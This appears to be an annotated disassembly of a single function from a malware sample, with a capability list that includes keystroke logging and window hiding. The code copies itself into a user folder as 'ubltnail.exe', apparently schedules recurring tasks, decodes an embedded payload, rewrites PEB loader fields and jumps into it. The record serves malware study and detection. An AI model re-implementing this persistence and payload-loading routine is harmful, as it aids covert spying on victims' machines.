Function at 0x402470
Capabilities:
Access peb ldr_data
Copy file
Get common file path
Get number of processors
Hide graphical window
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5e0
mov eax, dword [0x4853c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x5a8], 0xffffffff
mov dword [ebp - 0x5b4], 1
mov dword [ebp - 0x5ac], 3
push 0x2000
push 0
push 0x4ff830
call fcn.0044eb10
add esp, 0xc
push 0x2000
push 0x4ff830
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x64
lea eax, [ebp - 0xcc]
push eax
push 0x67
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
lea edx, [ebp - 0x194]
push edx
push 0x6b
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x5a4], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x5dc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5c0], eax
push 0
mov ecx, dword [ebp - 0x5dc]
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x5c4], eax
push 1
mov edx, dword [ebp - 0x5c0]
push edx
mov eax, dword [ebp - 0x5c4]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 3
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x5a4]
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x43
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
mov edx, dword [ebp - 0x5a4]
push edx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebp - 0x5a4]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp - 0x5a4]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov edx, dword [ebp - 0x5a4]
push edx
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 0
mov eax, dword [ebp - 0x5c0]
push eax
mov ecx, dword [ebp - 0x5c4]
push ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 9
mov edx, dword [ebp - 0x5a4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x5c8], str.kIBFEylqD9K4bjJu6WiQXp180h53NxCdLVYr7ZwcUzGgmotf
mov eax, dword [ebp - 0x5c8]
push eax
mov ecx, dword [ebp - 0x5c8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x5a0]
push edx
call fcn.00401320
add esp, 0xc
push 0x208
push 0
push 0x501830
call fcn.0044eb10
add esp, 0xc
push 0
push 0x1a
push 0x501830
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5f5e100
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 0
jne 0x402640
or eax, 0xffffffff
jmp 0x40289c
mov eax, dword [ebp - 0x5cc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push str.ubltnail.exe
push 0x501830
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 0x5b8], 1
cmp dword [ebp - 0x5b8], 0
jle 0x402734
mov dword [ebp - 0x5b0], 0x14
mov ecx, dword [ebp - 0x5b0]
sub ecx, 1
mov dword [ebp - 0x5b0], ecx
mov eax, 1
xor edx, edx
div dword [ebp - 0x5ac]
imul eax, dword [ebp - 0x5a8]
add eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x5b4], eax
mov edx, dword [ebp - 0x5a8]
neg edx
mov dword [ebp - 0x5a8], edx
mov eax, dword [ebp - 0x5ac]
add eax, 2
mov dword [ebp - 0x5ac], eax
cmp dword [ebp - 0x5b0], 1
jg 0x40267e
cmp dword [ebp - 0x5b0], 0
je 0x40272d
mov eax, 1
xor edx, edx
div dword [ebp - 0x5ac]
imul eax, dword [ebp - 0x5a8]
add eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x5b4], eax
mov ecx, dword [ebp - 0x5a8]
neg ecx
mov dword [ebp - 0x5a8], ecx
mov edx, dword [ebp - 0x5ac]
add edx, 2
mov dword [ebp - 0x5ac], edx
mov eax, dword [ebp - 0x5b8]
add eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x5b8], eax
jmp 0x40272f
jmp 0x402734
jmp 0x402667
push str.UBLT
mov edx, str.11:00:00
mov ecx, str.QuietMode2SupportState_3fbf_47c9_9fea_8861179d9929
call fcn.00401600
add esp, 4
push str.UBLT
mov edx, str.12:00:00
mov ecx, str.QuietMode2SupportState_9104_4377_a0dd_65a24ae59aa7
call fcn.00401600
add esp, 4
push str.UBLT
mov edx, str.13:00:00
mov ecx, str.QuietMode2SupportState_32c3_4fd2_89c4_658bb84237dc
call fcn.00401600
add esp, 4
push str.UBLT
mov edx, str.14:00:00
mov ecx, str.QuietMode2SupportState_3cc5_4551_994e_12bc635dff73
call fcn.00401600
add esp, 4
push 0
push 0x501830
push 0x4ff830
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0xc8
push 0
push 0
mov edx, 0x482a38
xor ecx, ecx
call fcn.004028b0
add esp, 0xc
call fcn.004021b0
push 0xc8
push 0
push 0
mov edx, 0x482a38
xor ecx, ecx
call fcn.004028b0
add esp, 0xc
mov dword [ebp - 0x5d0], 0x78c00
mov ecx, dword [ebp - 0x5d0]
add ecx, 1
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x5d4], eax
mov edx, dword [ebp - 0x5d4]
push edx
push 0x485e60
mov eax, dword [ebp - 0x5d0]
push eax
lea ecx, [ebp - 0x5a0]
push ecx
call section..text
add esp, 0x10
push 0xc8
push 0
push 0
mov edx, 0x482a38
xor ecx, ecx
call fcn.004028b0
add esp, 0xc
mov ecx, dword [ebp - 0x5d4]
call fcn.00401f00
mov dword [ebp - 0x5bc], eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x5d8], edx
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [ebp - 0x5bc]
mov edx, dword [ecx]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x5e0], edx
mov eax, dword [ebp - 0x5e0]
mov ecx, dword [ebp - 0x5bc]
mov edx, dword [ecx]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x5bc]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x198], ecx
jmp dword [ebp - 0x198]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044d361
mov esp, ebp
pop ebp
ret 0x10